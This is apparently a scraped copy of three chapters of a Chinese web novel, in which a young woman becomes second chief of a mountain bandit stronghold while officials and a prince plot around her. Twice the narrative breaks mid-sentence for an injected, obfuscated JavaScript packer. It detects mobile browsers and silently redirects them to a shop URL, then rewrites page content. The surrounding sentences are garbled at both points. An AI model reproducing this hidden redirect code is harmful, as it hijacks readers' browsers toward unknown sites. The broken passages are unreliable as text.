初小哥低头不接茬,汇报完就兀自退至一旁,齐威虎越发满意的拍了拍他的肩膀,然后清清嗓子让跪在院中诚心归顺他的人们起身听自己喊话。 要想在一个没文化的对一群没文化的喊话中听出点什么有意义的东西,其实是有些困难的,但初小哥还是十分给面子在齐威虎喊完话后默默领起了掌。 “我等愿誓死追随齐大当家的!” “我等愿誓死追随齐大当家的!” 拍手声与铺天盖地的归顺吼声落下后,院中有一人高声询问,“都是一家兄弟了,可大家伙儿还不知道领我们回来的初兄弟怎么称呼,在山寨里又是个什么位置呢?” 这话倒是问住了齐威虎,他回头看向忙了一夜有些困倦的初兄弟想起自己似乎还不曾许诺过他什么,也不知他稀罕什么,正是作难时,忽然听底下的楚六大喊—— “那位便是威虎寨新上任的二当家!我等也愿誓死追随威虎寨初二当家的!” “我等也愿誓死追随威虎寨初二当家的!” 新换了门庭的和扩张了门庭的人,兴奋地吼叫声一浪高过一浪,齐威虎看见他的初二当家在这些声浪里,勉为其难的轻轻点头以示自己确实接了寨里这个位置后,在某一瞬间似乎开始觉得威虎寨众人在他的带领下叱咤虔来山的光明前景已经不再只是美梦。 手底下忽然多出那么多人,要齐威虎安排处理的事情也繁杂了许多,趁他无暇关照自己,初小哥慢慢退出人群独自回了后山窑洞补觉。 他住的那处离前院较远,窑洞附近又生长着不少遮阴大树,很是寂静清凉,这样好的环境本可以让人睡得十分舒服,可初小哥却躺在炕上翻来滚去的睡不着。 自进入虔来山至今,他不是被关押就领着人打打杀杀,一个安稳觉都没有睡过,这会儿好不容易得空了,清醒的脑子和疲乏的身子相互间又不配合。 蒙着头不知迷糊了多久,初小哥睁开眼后瞧见窗外的天已经完全暗了下来,这才推测出自己刚刚大概睡过一会儿。 山里的夜色要比村户里清幽一些,但远处还是隐约能听到汉子们喝酒划拳的声音,初小哥出门坐到了窑洞外一方小石桌旁,从怀里摸出一块黢黑似煤炭的一两银子揉搓把玩。 “初兄弟这是觉得对不住那知命老道么?” 姜九和楚六一人提了两坛酒过来,看初小哥不说话,姜九兀自坐下后,又与他道,“我总说知命老道卜算不准,但看你拿着这个才明白,那老道或许是因为从你脸上看到了自己的命,才给了你这一两银子,说出什么‘钱货两清’之类的话,这一切都是各人的命,初兄弟莫再觉得是你要他下山,才害他丢了性命。” “老道道号‘知命’,难道是说从我脸上知道了他自己的命?”初小哥接过楚六拔了塞的酒坛,猛灌一口后嘲讽道,“可笑。” 姜九笑道,“我说那些不过是为了宽慰你,毕竟干咱们这个行当,这辈子多少都得做些昧良心的事,要是不劝说自己‘那都是他们的命’,恐怕早就被自个的良心折磨死了。” 初小哥问,“既然还有良心,为何还要昧着它干这个行当?” 楚六也笑,“咱们犯了事又一穷二白,不干这个还能干什么。” 初小哥抿嘴笑了笑,没有答话仰头又灌了一口酒。 姜九按住他的胳膊,“我问了侍应你的兄弟,他们说你自住过来之后只要过一块磨刀石,那就是说从昨天到今天你一口东西都没吃,先别着急喝酒,等一会儿伍二哥端了饭来,你垫垫肚子再说。” “好,多谢你。” 姜九:“跟我还客气什么。” 初小哥喝了酒,人看着好说话许多,楚六撑着桌子趁机问他,“初兄弟,老叫你初兄弟,直到今日前豹子山兄弟们问起你的名号时,我们才想起还不知道你叫什么,这会儿就咱哥几个,说说你到底叫个啥名儿?” 窑洞对面的树林中有脚步声传来,初小哥手握酒坛回答着楚六,目光却落在他身后一位端着食盘的高大身影上,一字一顿道—— “我叫初暒。” 74. 名号 “我叫初暒。” “好好活着,这恩,你可一定记得来报。” 熟悉的话再次萦绕耳边,站在树影下的汉子按捺住心中百感,端着食盘不动声色的朝石桌走来。 “初暒?” 楚六边从伍二端来的食盘里往桌上端菜,边想不通的问,“这是你的真名?” 初暒点头,“是。” “你不是杀过人犯过事么?在外行走怎么还敢使自己的真名?”姜九拍拍自己的胸脯又指了指身旁两位大哥,“我们的名号里就只有姓是真的,你要不也起个初十?十一、十二什么的?” 楚六在他脑袋上拍了一下,拆台说,“甭以为有新来的你就不是老末了,放心,今后给哥哥们端茶倒水、捏腰捶腿的活儿还是你的,再说,初兄弟如今可是咱们威虎寨的二当家,名号哪能像你我一样瞎起。” 初暒说,“我就叫初暒,用不着其他名号。” 楚六劝她,“初兄弟,你这名字喊起来实在不响亮,仔细琢磨起来也十分娘们唧唧,不如叫初天霸、或是初震海如何?” 初暒拿起筷子,吃了几口菜,平静说,“你觉得不响亮只是因为听得太少,往后,我会用自己的本事让这个名字响亮到世人皆知。” 她用平淡的语气说出这些嚣张的话,在座三位居然没有一人觉得不妥。 伍二率先起身举起酒坛,郑重说,“得初二当家相救,我伍二、与诸位兄弟才能过上如今吃喝不愁的日子,我愿以此酒起誓,誓死追随效忠初暒兄弟!” 伍二这话听在楚六与姜九耳中,只以为他是在感谢初兄弟舍命替威虎寨挣了许多家当,让他们在虔来山中重新挺直腰杆,可初暒在与伍二的四目相对中,读懂了他眼中热泪盈眶的谢意。 初暒站起与他碰坛,“干!” 楚六与姜九也举起手中酒坛撞向他们,齐声喊道,“干!” ‘砰!’ 撅着屁股窝在虔来山底草丛里的白冲与柱子用水囊碰了一下后,各自仰着头咕嘟咕嘟灌了几口凉白开。 清水从嘴角溜进胸前衣领,水流蹭着肌肤刺痒的让人忍不住去挠,柱子伸手进去抓完完痒,低头一看,自己的指甲缝里已经填满黑泥。 他凑过去闻了闻,随即就嫌弃的挤着眼睛委屈道,“我都快馊了。” 挨了二十军棍的白冲挥手扇走在自己伤口嗡嗡的苍蝇,悔恨说,“前几日是给蚊子当血包,这几日是为苍蝇做饭堂,老子立了功,反被打了一顿!还以为跟着慕峰青能干一番事业呢,谁成想天天就猫在这草坑里!早知是这么个差事,当初说什么都不来!” 柱子已经习惯他这么抱怨,只问,“屁股还疼吗?” “好多了,就是开始发痒了。” “那就是伤口快长好了。”柱子点点头,扭过脸继续替他盯守,“我帮你看着,你再歇会儿罢。” 白冲‘切’了一声,“大白天有什么好看的,快来与我一起歇着……” “嘘!有人来了!” 听见这话,白冲立马翻身趴在柱子身边眯眼查看,果真瞧见远处有人影晃动。 白冲:“诶?那不是慕峰青派进山里的探哨么?怎么领着两个人下来了?” 值守在路边草丛中的无数眼睛注视着那两个从山上毫发无伤下来的人从自己面前走过,没一会儿,虔来山土匪放了两个‘肉票’的消息很快就传遍了埋伏在山底的众多官兵耳中。 军帐中,王羌曹得了慕峰青的眼色后,询问回来报信的探哨,“他们说自个是被虔来山土匪送下来的,你们在哪儿遇上?可有碰见土匪?” 暗哨:“就在白冲兄弟发现断臂的那条盘山路上,属下带人往上搜查时,只见他主仆二人正并肩下来。” 王羌曹纳闷,“原先听说土匪扔‘肉票’,都是先打晕了套上麻袋再寻个离老窝较远的地方丢了的,这回怎么还将人给客客气气的送下来了?” 暗哨想了想自己要不要多嘴,顿了片刻还是说,“属下方才带他们回来路上,见其中一男子风度翩翩、器宇不凡,不像寻常百姓,想来那土匪们也看出他们不是自己能招惹的人,这才恭敬将其送下来了。” 不像寻常百姓? 王羌曹拿不定主意,于是看向帐中说话管用的,与他相视一眼后,才听慕峰青沉声道,“将那人请进来说话” 暗探撩开草帐门帘上垂下来的爬山虎,将身后那位风度翩翩、器宇不凡的男子请进去后便抱拳退离。 自暗探开始撩帘,王羌曹就好奇地向他张望,虽说心里已有准备,但在看到从暗探身侧走出那人时还是吃了一惊,毕竟在中北地界,除了幽王,他还是头回瞧见这样英俊的人。 “小慕将军,许久不见了。” 来人一开口,王羌曹就知慕峰青与他是旧识,可好一会儿了,仍不听慕峰青接话。 王羌曹斜眼看去,‘咳咳’两声。 慕峰青一见此人相貌,脑中立刻回想起自己在思朝暮被刺杀那日,山水间门口一位身着蓝衣的男子,那时场面混乱,两人不曾说过话,不想居然在这里碰上了。 王羌曹那两声干咳终于将陷入回忆的慕峰青唤回,他稳了稳心神,立即迎上去安抚,“方才我那手下回话,说是从山上下来一位风度翩翩,谪仙儿似的人,我还当他是在胡说,原来竟真是玉衍君下凡来了。” 齐煴玥任他将自己迎入座,笑道,“慕将军剿匪劳累,还愿意说好话与我圆场,倒让我心里过意不去了。” “为朝廷办事,没什么劳累不劳累,玉衍君在这虔来山受了惊吓,我才是真正过意不去。”慕峰青沉吟片刻,试探问,“我前些日子听闻西南方宵小张狂,齐老将军身负重伤,您不是动身前去探望祖父了么,怎的会出现在这虔来山土匪窝呢?” “西南方宵小张狂,却从来不是宣威军的对手,我祖父久经沙场难免会受些小伤,这都是常有的事,西南与晁都相隔千里,传回的消息也难免有误,劳慕将军挂心了。” 齐煴玥和和气气的说他离得远、操的心宽,慕峰青脑袋转得慢,明白他话里的意思后一时不知道怎么解释,只得尴尬笑笑。 “我原就是个闲散之人,无事就爱到处看看,从西南回来后途中想起安南书院一位故人,于是便打算从虔来山抄小路进安南山,不巧在山里遇上了拦路土匪,这才在那土匪窝里住了几天。” “安南书院?” 王羌曹诧异,“您不知道安南书院已经没了么?” “没了?”齐煴玥蹙眉,“这是何意?” 慕峰青只知道安南书院被土匪骚扰,整座书院已在火海中沦为废墟,却并不晓得其中内情,见他轻轻朝自己点了个头,王羌曹对齐煴玥拱了拱手,才道,“在下王羌曹,是安南县衙县尉,虔来山近几月土匪数目剧增,土匪窝变成了土匪蜂窝,山头不够占,银钱也不够分,于是他们便把手伸向了紧挨着虔来山的安南山,安南山中的安南书院有不少家境优渥的学生,想打‘野食’的土匪便趁着他们离群绑了几个学生要钱,哪想到不仅钱没要着,反将自己的性命赔上,土匪们不甘心栽在孩子手中,又带了人来侵扰书院学生,可是又被将了一军,两方这下真结了仇,最后那回,禽兽不如的土匪们竟杀了我留在书院护卫的衙役,撒火油将安南书院烧了个干净,属下说的没了,是烧没了。” 慕峰青嗤笑一声,“一群学生如何能将杀人如麻的土匪一军,真是越传越不像话。” 王羌曹想说就是他亲自带人护卫安南书院,亲眼见了安南书院易守难攻的机关暗室,还能有假?但说这些安南书院的不会谢他,自己也不会因此升官,与人家做将军的争辩有何用处,还不如闭了嘴,听他说啥是啥。 齐煴玥没想到安南书院会遇上这样事,心中一急,问,“那安南书院可有人员伤亡?” 王羌曹叹了口气,惋惜,“一位于姓院长为救学生们与匪首在火海同归于尽,一个女学生被漏网土匪掳走,两人双双坠入虔来山悬崖,大概也死了。” 齐煴玥:“为何要说大概?” “我派去寻尸体的人说,崖底只找到一些男子、马匹尸块,女子身子轻,估计摔死后被山谷里的风吹进崖缝或是挂在哪儿被猛禽叼走了。”王羌曹嗨呀一声,“那么多学生就死了这一个,说‘大概’也不过是给学生亲友们留个希望罢了。” 慕峰青看齐煴玥脸色不好,忙宽慰说,“朝廷指派我进山剿匪,我定会端了土匪窝让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888123|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书院惨死之人瞑目,安南书院虽然没了,可大多数人还活着,玉衍君要想寻人,我必定会助你一臂之力。” 帐内沉寂了片刻,齐煴玥才敛起眼中焦灼,温声道,“多谢慕将军好意,只是您如今身担要职,眼下又正是用人之际,寻人之事我不急于一时,就不劳烦将军费心了。” 听完意料之内的回答,慕峰青笑了笑,终于引出先前铺垫许久的话,“玉衍君不劳烦我,我却有些问题想劳烦您为我解答。” “慕将军但问无妨。” “方才听您说,抄近道时遇上了拦路土匪,在那土匪窝里住了几天,您可还记得土匪寨子的大致方位又或是人员数目?” “我出入土匪山寨时总被蒙着双眼,即使在豹子山中住了几日也一直被关在一处僻静的厢房中,除了送饭喽啰也不曾见过什么人…不过……”齐煴玥顿了一下,“听送我下山的小喽啰说,豹子山大当家已死,豹子山如今已经改换了门庭,拿下豹子山的那些人在院中整合清点原山寨库房时我们恰好从旁路过,我依据院里的脚步声与周遭喧哗声推测那里大概有二百余人。” “赖豹死了?”王羌曹瞪着眼睛,满脸不可思议,“赖豹在虔来山张狂多年,他一手撑起来的豹子山怎么也算是大寨了,怎的说没就没了?没听说山上哪家有本事能干得了他的啊?” 齐煴玥没有提潘闯口中的初英雄,回想了一下,只道,“听说豹子山新当家的匪首姓齐。” 王羌曹:“与豹子山相隔不远的威虎寨大当家齐威虎?” “应该就是他。” “威虎寨不是才被安南书院灭了许多人么,哪来的人手竟能将如日中天的豹子山吃了……” 王羌曹扣着脑袋喃喃自语,齐煴玥闻言才晓得侵扰安南书院的原来就是威虎寨。 齐煴玥带来的消息很让慕峰青激动,他没听见王羌曹的呢喃,起身兴奋不已,“多亏玉衍君带来佳音,我们这些天埋伏在虔来山底之举已经初见成效,山上的土匪们终于按捺不住开始自相残杀了,我看用不了多久,便可将其一句歼灭!” 以前在军中,他曾听慕初说敌暗我明、且敌人又及其分散时,需要把他们逼进绝境,等对方招架不住开始‘合纵缔交,相与为一’那刻,便立即汇聚我方势力将其一举击破。 那时他还不以为然,直到今日亲耳听见那些土匪已经按照自己的计划行事后才觉得这法子真是十分的省时省力。 “我不过是将听到说出来而已,还是慕将军运筹帷幄、神机妙算。” 看说的差不多了,齐煴玥起身告辞,“今日幸得偶遇慕将军手下将士,我与书童才能平安下山,实在感激不尽,我知您公务繁忙,就不再叨扰了。” 慕峰青:“玉衍君言重,只是您这几日受了苦,要不还是在我军中歇歇脚、用了饭,我再差人将您送回都城?” “走到这里便离晁都城不远,您公务要紧,就不劳烦了。” 齐煴玥再三推辞,慕峰青也不好强人所难,他挥手让王羌曹上前,“既如此,王县尉,你去送送玉衍君。” “是!” 王羌曹巴不得与这位英俊公子再待一会儿,于是快走两步撩开帐帘,笑眯眯躬身探手,“玉衍君,请。” 在外捧着花卷与趴在草窝里的兵士闲聊的近情看见自家先生从帐里出来,连忙与他们告辞后,小跑跟来。 王羌曹与他问了声好,又对齐煴玥说,“我以前总听城里的百姓说风光霁月的玉衍君漂亮的跟天上的谪仙一般,直到今日亲眼见了才知您这相貌倒也不像是百姓们夸张了。” “你这双眼睛,好似我一位故人。” “你这相貌倒也不像是百姓们夸张了。” 以前好似也有人说过同样的话,说话那人的声音又像是不久前才听过…… 齐煴玥忽然停下脚步,转身看着王羌曹,问,“王县尉曾担安南书院护卫之责,可知道那位被漏网土匪掳走坠入虔来山悬崖的女子叫什么名字?” 事情已过去一些时日,王羌曹本想说自己早不记得,但就在电光火石之间,他望着齐煴玥那双深邃的、饱含急切的动人瞳孔,下意识脱口而出—— “她姓初,小字眠眠。” 75. 鹰隼 “他跟你打听坠入虔来山悬崖的女子姓名作甚?” 慕峰青听完王羌曹的禀报,眼中闪过一丝鄙夷嘲讽,“风光霁月的玉衍君要去安南书院寻得故人该不会真是个小女娃吧,文人果真都是一个德行……” 你老子也是个文人呐。 王羌曹腹诽一句。 他方才其实还没说完,那日在自己说完坠崖女子的姓名后,曾听见玉衍君低语一句:竟是她。 由此他便猜测,那位叫初眠眠的可能就是玉衍君要寻找的人。 可是…… 有无数文人敬仰、万千少女恋慕的玉衍君为何会结识一个自小在乡村里长大的小丫头? 又或者说……那么个平凡无奇的小丫头为何能入了玉衍君的眼? 思及至此,王羌曹忽然想起那个叫初眠眠的丫头似乎并非像自己所说那样平凡无奇。 那么多学生就死了这一个。 那么多学生土匪就只掳走这一个。 齐煴玥的追问,让王羌曹越发相信驻守书院时听学生们所言,就是她带领众人守住安南书院、击退虔来土匪的。 那么,一个有如此胆识与能力的女子,当真会同歹人坠崖而亡么? “王县尉?”慕峰青问,“在想什么?” 王羌曹回过神,沉吟片刻,道,“属下在想,虔来山上土匪们黑吃黑的手段已经不像是在小打小闹了,但看豹子山新当家的还愿意将不像寻常百姓的玉衍君恭敬送下山,这是否说明,他们并非像坊间传闻那样丧心病狂,也并非真的想与我们作对。” 慕峰青仔细琢磨他话中深意,“你的意思是…想将他们招安?” “中北百姓都听过这句‘若能招安虔来山半只贼,战场上定能多杀北漠一个匪’,引他们归顺朝廷共同抗敌,总比我们自己人杀自己人强。” 要是能不费一兵一卒就招安虔来山土匪,慕峰青自然求之不得,可是这些山中土匪做霸王做惯了,怎么肯乖乖下山俯首称臣。 慕峰青不屑道,“我听闻朝廷年年都出兵剿匪,可是年年都不了了之,那帮土匪若真有心报国,又何必钻在虔来山嚣张这么多年?一丘之貉罢了,我迟早要将他们收拾干净!” 王羌曹张张嘴还想说什么,忽听帐外有暗探来报。 “报!” “兴民城传来消息,城边有一村落遭黑鹰岭土匪洗劫,除粮食与财物外,还有十数个成年男子被掳!” 王羌曹闻言,震惊之余,又瞧见慕峰青看着自己的眼睛里,分明写着“瞽瞍不移”四个大字,他一时哑然,而后,终于将想说的话咽了下去。 虔来山一个山寨吞并了另一个山寨的消息与兴民城边小村落被洗劫一事,同时传到了白冲耳中。 “咚!” 白冲一拳砸向身旁巨树,咒骂,“小小蟊贼竟敢将手伸到了我兴民城附近,老子可还在虔来山里喘着气呢!” “咱在这儿光喘气,恐怕那些土匪喽啰早看出咱们这帮‘耗子’大概也只会喘气了!”柱子恨恨道,“被压着一头真是憋屈!咱们在兴民城哪里受过这种气!” “被人压着,那咱就把压着自己的人挪开。” 白冲紧握的拳头上还扎着巨树木渣,他像是感觉不到刺痛似的,抑住双眼怒火冷冷道,“你还记得幽王手下送粮食那天说过什么。” 柱子点头,“记得,他说慕将军治军只信奉一句话,即‘不拘村野匹夫或达官显贵,能者居其上!’” 白冲不顾盯守规定,目视军帐,撑树站起,“我白冲要去做那个居其上之人,愿跟我者,随!” 军帐中,岑虎指着虔来山地形图说,“豹子山在威虎寨与黑鹰岭之间,既然威虎寨有扩张领地之意,那么吞并豹子山后,必定会慢慢向北行进,不过…在这虔来山四寨中,黑鹰岭才是排在头名那家,威虎寨虽然有两寨之力,但未必能让那两劲儿往一处使,他们或许还需磨合一些日子才敢与黑鹰岭正面对上。” “威虎寨想与新人磨合,可黑鹰岭怕是不会给他们这个时间。” 慕峰青看向王羌曹,听他又说,“黑鹰岭在兴民城周边村落掳人就是在为对上他们最准备了。” 岑虎不赞同,“要是真像你说的他们在为同室操戈做准备,我们倒是能省些力气,但是你如何知道威虎寨想扩张领地?万一人家只是看豹子山不顺眼,吞并他们只是想过更安生的日子咋办,而且……我听闻黑鹰岭原先就喜欢在山下抢人,这回大概也是抢粮食时顺手掳的,如果黑鹰岭与威虎寨仍继续各过各的日子,那他们两家与刀客谷便会如三足鼎立一样在虔来山里扎的更稳了。” “我慕峰青在此,怎会让那群土匪安生各过各的日子。” 慕峰青目中阴翳忽显,“一山尚且不容二虎,那三家也须得分出个公母才成!” “我要见慕将军!” “你算什么东西!慕将军岂是你等说见就见的!快回去继续盯守,否则……” “你个狗眼看人低的!你知道老子是谁么!” “我管你是谁,快滚开……” 帐外突然开始吵吵嚷嚷,岑虎拉下脸刚要出去维护军纪,慕峰青却叫住他问,“我已经命剿匪兵士在虔来山底埋伏数日,军中是否早已哀怨四起?” 岑虎看了置身度外的王羌曹一眼,知道求助无望,于是支支吾吾说,“也没有…刚开始大家伙儿听说是跟着您,甭管干什么都有心有力的,只不过后来…大家吃喝不愁,又整日猫儿在草窝里无事可做,才传出些抱怨之语来,属下觉得这些都实属正常,毕竟外出办差时间久了,哪有不烦躁的。” 慕峰青微微颔首,沉吟片刻,又问,“外面何人喧哗?” 王羌曹答,“听着像兴民城那位白公子。” “他要见我,那就请他进来罢。” 王羌曹:“是。” 白冲被请进草帐时愤愤不平,过了好一会儿被送出来后却满脸喜色。 王羌曹在帐外看着他大手一挥,十几个从兴民城来的人便跟着他大摇大摆的走了。 王羌曹:“慕将军怎么真答应他带人进山啊,就这么十几个人,要是真遇上土匪出了事可怎么跟白知州交代?” “就他这种刺头,要是在赤霄军中,早不知道被拖出去砍过几回了,幸亏我们慕将军气量大不与他计较,愿意将进山搜寻被掳百姓的差事交给他,再说,这活儿不是他死活向将军求来的么,就算真出了事,也是他自找的。放心,他在军中都这么没有规矩,他那老爹自然晓得自个儿子是什么德行,怪不到咱们身上的。” 岑虎事不关己的拍了拍王羌曹的肩膀后转身进了帐子,只留王羌曹在原地紧蹙着眉,担忧地望向那些逐渐走远的背影。 山中夜幕从天上铺盖下来,沉重地压在树林与山崖之中,有风刮过时,不知有什么东西张着尖喙,挥着利爪,挥翅盘旋其中,惹得数群飞鸟焦躁的环着峡谷东躲西避。 在鸟群飞过威虎寨一处荒凉山头的石壁时,石壁上忽然响起一声尖锐口哨。 口哨声熄不久,天空中便立刻有道灰白身影朝声音响起处直冲而去,目视着尖喙与利爪向自己飞来的人不仅没有躲闪,反伸出自己的胳膊让它落下后稳稳抓住。 初暒在鹰隼灼灼目光中从它脚边摸出一页字卷,而后任它飞身离开。 ‘朝廷矿图不全,唯茶之甲片可用,使臣已去,邱阳已安,家中父母兄长心神既定,重又埋头劳作,君众同窗心中愧疚常往来相助,玉衍平安返都并着手书院重建,旧事不必挂怀,收服虔来与探清矿址为要。’ 阅完既毁。 初暒将撕成碎屑的字卷抛进山谷,转身离去时,没有瞧见旋绕在头顶的鹰隼扭头转了个弯,朝威虎寨另一处飞去。 晁都,幽王府书房门外。 无恩手臂上架着一只威风凛凛的隼轻扣房门,“主子,虔来山来信儿了。” “进来。” “是。” 将鹰隼交给守卫,无恩推门而入,“主子,虔来山来信儿说初暒夜袭豹子山手刃其大当家赖豹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888124|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只带了三人就拿下豹子山,如今已得众心,成了威虎寨的二当家了。” 薛霁握着书卷翻过一页,“倒比本王预想的快了些。” 他意料之中,可无恩百思不得其解,“属下实在不明白,杀人这事儿她一个小姑娘为何能做的这样顺手,该不会真像她同村人说的那样,死过一次,被鬼附了身?” “你要是好奇,可以去试试。” “啊?” 怎么试?也去死一回么? 无恩连忙摇头,“属下就是随口问问……” “对了主子,慕峰青军中那位刺头,兴民城知州的独子白冲窝不住了,听说闹得不行,慕峰青不得已应允他带人进山搜救被黑鹰岭掳走百姓了,他好歹也是白知州独子,慕峰青此举也不怕得罪白知州。” 薛霁放下书,“刺头扎手,捋不顺就只能拔了它,不然,若惹得其他乖顺的也炸了毛便更麻烦,慕峰青不是不得已,而是巴不得让他走,反正死活都是敢为人先的英雄,为国效力,白向福有恨也难发。” 无恩恍然后颔首,又纳闷嘀咕,“慕峰青连手下人都捋不顺,到底怎么当上赤霄军的头儿……” 无恩的声音极小,也不晓得主子有没有听到,他抬眼望去,只见薛霁已经搁下书卷,单手搭在书案上不知在思索什么。 “北漠使臣如今走到哪儿了?” “还未出中北地界。”无恩答,“高寒前几日来信说,这群人大概是因为办砸了差事不敢回去,一路上走的还没有爬得快。” “告诉高寒,北漠一行人一出中北就立即将消息传出。” “是!” 无恩领命后,立刻转身出去。 书房门扇开合时候,有一只飞蛾循着光亮从门缝中穿了进来,直扑书桌案几上飘摇的烛台火光。 鹰隼能从山里带信回来,就是说初暒已经收到自己前些日子送去的字卷。 薛霁靠在座椅转动着食指上的白玉扳指,回想起那个跪在他脚下以虔来山土匪头儿身份拜见自己的小丫头。 她没有妄言,不过数日,她果真在嗜血凶狠的虔来山土匪头目中有了自己的一席之地。 无恩想不明白她如何能手刃赖豹,拿下豹子山,可薛霁知道,在虔来山杀人并不难,难得是让那些人甘愿臣服于她。 她到底怎么敢?怎么能呢? 初暒早在柏桥村时就知道自己已经被他盯上,但是她直到在安南书院脱身后才将塔鲁阿茶的尸体交出来做投名状。 那时,她说愿做自己的马前卒与手中刃,理由是希望他能护住她在柏桥村与安南书院的亲友。 但薛霁心里清楚,那些人既是她的亲友,也是她亲手递到自己手中的她的把柄。 将自己珍视的人完全的暴露出来,那才是她的投名状。 可是…… 她这样做究竟是为了什么…… 薛霁想起于允芳在私宅中说过的那句‘这姑娘像是带着恨来的,不受任何人的束缚,我留不住她,安南书院也留不住她’。 带着恨来? 凭她的本事,慕峰青那样的人可不值得让她舍命一步步走到这里。 安南书院的确没有将她留住,虔来山必定也不会是她的久留之地,那么,她不惜将亲友当做把柄也要交给能护住他们的自己,一定是为去更为广阔的地方做准备。 想到此处,一个荒唐的想法,忽然从这些推测中慢慢浮现在薛霁眼前。 飞蛾被烛火的光热刺痛,却又一次次扑向那米光热。 屋里不停晃动的烛光反复提醒着薛霁,这么多年来,自己还是头一回如此好奇一个人为何会莫名变化,忽然生长成如今这幅模样。 他起身长袖轻拂,案几上闪烁的烛光瞬间便被扑灭,飞蛾失去了身前的光热,扑腾了一会儿,不甘心的留下了自己一条小命,重新去寻找其他光亮。 薛霁拉开房门,任由天边高悬的明月光辉落在自己身上,傲睨暗道—— 我薛霁用人,荒唐又如何。 76. 伍二 在威虎寨有了二当家这个身份的好处是,可自由出入山寨且身边再没有时刻盯着自己的眼线。 故而在收到薛霁书信后,初暒便开始以晨起练功的名义出寨跑山,借此机会根据记忆中塔鲁阿茶篆刻于指甲上的地形图在虔来山中各处搜寻游荡、摸索探查。 带兵时,依照地形图行军作战再寻常不过,初暒前世也从未出现过有了图还带兵走错路的情况,可是她脑袋里揣着地形图在虔来山溜达这几日,非但没有看见一处与图相似的地貌,反而还因山中地势复杂艰险迷过几次路,幸亏她之前常围着安南山跑圈,闲暇时又了解过一些山间植被生长的位置与规律,借助树木花草认出了回去的路,这才没有因为在山里兜圈子晚归,惹得旁人猜疑。 薛霁说‘朝廷矿图不全,唯茶之甲片可用’,可是为什么中北自己都画不全的地形图,一个从来没有来过中北的北漠公主手上会有完整的? 那份地形图究竟是北漠潜进中北摹画而出,还是由哪位中北人测绘后亲手送出去的? 初暒深思着走回威虎寨门,颔首应付完站在山寨大门两边对自己抱拳行礼的值守喽啰,刚踏上去往后山窑洞的小路,迎面就有伍二走来喊她—— “二当家,大当家的请您去忠义堂议事。” 初暒从豹子山带回了二百余人,刚听见这个数量那会儿,齐威虎心里想的是若能领着这么多人在虔来山里‘做生意’,自己不知会有多威风,但后来他分别陪着这二百多人不分昼夜的吃喝玩闹,以求与他们打成一片时才明白,手下人多了也不好,当头的不仅要管着他们的吃喝拉撒,还需日夜提放着哪个喂不熟的砸了自己的碗。 初暒一进门就被齐威虎泛黑的眼圈吸引了视线,她打趣道,“大当家的,只几日不见怎的就操劳成这幅模样了。” “初兄弟,莫要再取笑我了。”齐威虎叹了口气,抬手请她入座,“以前总想召集人手、扩大门楣,如今寨子里真有这么多人了,我又不知该如何安置他们,更不晓得怎么做才能他们收了心踏实的跟着我,几天下来,新来的那些兄弟们,人家还是该吃吃该喝喝,可我却劳累疲倦成这幅样子了。” 初暒安慰他说,“大当家的在想怎么收服外面的人,我估摸外面那些人也在思忖要不要真服了您,原先威虎寨与豹子山有仇,我杀了他们的大当家,他们不说怨恨起事已经算好说话了,更何况豹子山新人才来不过几日,只要我们诚心相待,总会让他们心悦诚服,两方博弈比的就是个稳字,大当家的切不可先乱了自己的阵脚。” 听文化人劝解就是舒心,这一席话立即让齐威虎混沌的灵台变得清明起来,他斟酌了片刻,而后点头道,“初兄弟说的在理,是我太过心急了。” 姜九从外面端着茶壶进来,回禀说,“大当家、二当家,赖豹的尸首还放在凉棚下呢,小的方才经过时闻了一下,险些熏吐了,咱到底啥时候将他处理了啊?” 为当家们侍候茶水的楚六插话说,“赖豹心狠分尸了我郑四哥,如今他落在我们手中只有也将他剁成几块扔进山里喂熊,方能解我这一肚子气。” 姜九也附和,“就是,小的也是这么想的。” “不成。” 齐威虎看向反对的初暒,听她又说,“我们需得妥善料理赖豹后事。” 楚六急问,“这是为何?!” 齐威虎:“我今日请初兄弟前来就是为了商议这事,初兄弟不要有顾虑,但说无妨。” 初暒扫了一眼堂内这些等着她解释的眼睛,缓缓道,“要真照楚六说的那样剁了赖豹的遗体,原豹子山的兄弟们一旦知道这事儿,心中一定会对威虎寨生出怨恨,到时候一旦有人从中怂恿,他们很可能翻脸并豁出性命与我们作对,郑四兄弟被赖豹残害,可赖豹死的时候也并没有比他舒服多少,死人的后事是办给活人看的,赖豹怎么尸首怎么处置不重要,重要的是如何处置能让他的那些手下心里得到安慰。” 伍二赞同,“小的觉得初二当家这话说的对,赖豹死都死了,再剁成碎块他也感觉不到疼,倒不如好好安葬了,还能让前豹子山的兄弟们念念咱们威虎寨的好。” 姜九又附和,“小的觉得这样更妥当!” 楚六也认为二当家这番话甚是有理,自己方才以仇报仇的言论倒显得十分狭隘了,“二当家说的是,是小的想事情不周全了。” 看兄弟们都同意,齐威虎起身道,“那就照初兄弟说的办,伍二,你带人伐树尽快打副棺材,楚六,去寨子里搜寻些白布布置灵堂,姜九在山里寻处好地方再找几个麻利的挖坑建坟,我们如何安葬了郑四就如何埋了赖豹罢。” “是!” 领了差事的人便各自出去忙碌,很快,专属赖豹的灵堂与薄棺就全都准备好了,原豹子山土匪看见自家先前还被撂在草棚子里的大当家忽然被人抬走,又见威虎寨几人将他仔细擦洗更衣后才钉进棺材后不禁眼眶一红。 